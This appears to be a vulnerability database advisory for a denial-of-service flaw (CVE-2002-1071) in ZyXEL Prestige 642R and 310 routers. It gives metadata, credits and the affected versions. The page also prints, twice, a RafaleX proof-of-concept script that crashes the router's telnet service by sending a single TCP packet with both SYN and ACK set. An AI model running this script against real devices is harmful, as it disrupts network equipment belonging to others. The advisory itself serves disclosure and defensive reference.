Zyxel Prestige 642R Malformed Packet Denial Of Service Vulnerability
BID:5034
Info
Zyxel Prestige 642R Malformed Packet Denial Of Service Vulnerability
| Bugtraq ID: | 5034 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2002-1071 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 17 2002 12:00AM |
| Updated: | Jul 11 2009 01:56PM |
| Credit: | Discovery of this issue is credited to Kistler Ueli <[email protected]>. |
| Vulnerable: |
ZyXEL Prestige 642R ZyXEL Prestige 310 |
| Not Vulnerable: |
ZyXEL Prestige 643 |
Exploit / POC
Zyxel Prestige 642R Malformed Packet Denial Of Service Vulnerability
The following example script was submitted:
# This is a RafaleX script (Download: www.packx.net)
# Rafale X script
# ---------------
# Action : Make a ZyXEL 642R Prestige Router inaccessible on port 23
#
%name=ZyXEL telnet service DoS
%category=Denial of service
%date=23-05-2002
%rafalemin=0.2
%description=Crash ZyXEL router telnet service with ACK and SYN flag
// Variables
$done=Target attacked...
// Do the stuff...
!Display=Please wait...
!Sleep 500
PORTDST=23
IPHEADERSIZE=20
ACK=1
SYN=1
!Display=Sending the packet...
!SEND 1 TCP
!Sleep 200
!Display=ACK/SYN Packet sent! ZyXEL telnet service crashed
(V2.50(AJ.6))
!Sleep 1000
!Display=$done
The following example script was submitted:
# This is a RafaleX script (Download: www.packx.net)
# Rafale X script
# ---------------
# Action : Make a ZyXEL 642R Prestige Router inaccessible on port 23
#
%name=ZyXEL telnet service DoS
%category=Denial of service
%date=23-05-2002
%rafalemin=0.2
%description=Crash ZyXEL router telnet service with ACK and SYN flag
// Variables
$done=Target attacked...
// Do the stuff...
!Display=Please wait...
!Sleep 500
PORTDST=23
IPHEADERSIZE=20
ACK=1
SYN=1
!Display=Sending the packet...
!SEND 1 TCP
!Sleep 200
!Display=ACK/SYN Packet sent! ZyXEL telnet service crashed
(V2.50(AJ.6))
!Sleep 1000
!Display=$done